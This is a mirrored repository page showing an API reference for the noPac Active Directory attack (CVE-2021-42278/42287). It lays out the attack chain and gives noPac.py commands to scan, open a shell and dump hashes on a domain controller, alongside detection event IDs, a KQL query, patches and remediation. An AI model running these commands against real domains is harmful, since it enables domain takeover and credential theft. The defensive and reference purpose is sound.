mirror of https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git synced 2026-07-24 13:40:57 +03:00

Files

T

mukul975 c21af3347e Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal

- Add scripts/agent.py and references/api-reference.md to all remaining skills
- Update all 648 LICENSE files: copyright now reads 'Mahipal'
- Add implementing-security-monitoring-with-datadog (new skill with full anatomy)
- All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md

2026-03-11 00:22:12 +01:00

1.9 KiB

Raw Blame History

API Reference: noPac (CVE-2021-42278/42287)

Vulnerability Overview

CVE-2021-42278 — sAMAccountName Spoofing

Allows renaming a machine account's sAMAccountName to match a DC name (without trailing $).

CVE-2021-42287 — KDC Confusion

KDC fails to verify PAC when sAMAccountName doesn't match, granting DC-level TGT.

Attack Chain

Create machine account (MachineAccountQuota > 0)
Rename machine sAMAccountName to DC name (e.g., DC01)
Request TGT for spoofed name
Rename back to original
Request S4U2Self — KDC returns ticket as DC$

noPac.py (Impacket)

Scan for Vulnerability

noPac.py domain.local/user:password -dc-ip 10.10.10.1 --scan

Exploit (Get Shell)

noPac.py domain.local/user:password -dc-ip 10.10.10.1 \
    -use-ldap -shell

Dump Hashes

noPac.py domain.local/user:password -dc-ip 10.10.10.1 \
    -use-ldap -dump

Prerequisites

MachineAccountQuota

# Check quota
([ADSI]"LDAP://DC=domain,DC=local")."ms-DS-MachineAccountQuota"
# Default: 10 (any domain user can create 10 machine accounts)

LDAP Query

(&(objectClass=domain)(ms-DS-MachineAccountQuota>=1))

Detection

Event IDs

Event	Log	Description
4741	Security	Computer account created
4742	Security	Computer account changed
4743	Security	Computer account deleted
4781	Security	Account renamed
4768	Security	TGT requested

Detection Query

SecurityEvent
| where EventID == 4781
| where TargetUserName !endswith "$"
| where TargetUserName in ("DC01", "DC02")

Patch Information

Microsoft KB

KB	Description
KB5008380	November 2021 patch
KB5008602	OOB patch
KB5008207	Cumulative update

Remediation

Apply KB5008380 patch
Set MachineAccountQuota to 0
Monitor Event 4741 and 4781 for anomalies
Enable PAC validation on all DCs

1.9 KiB Raw Blame History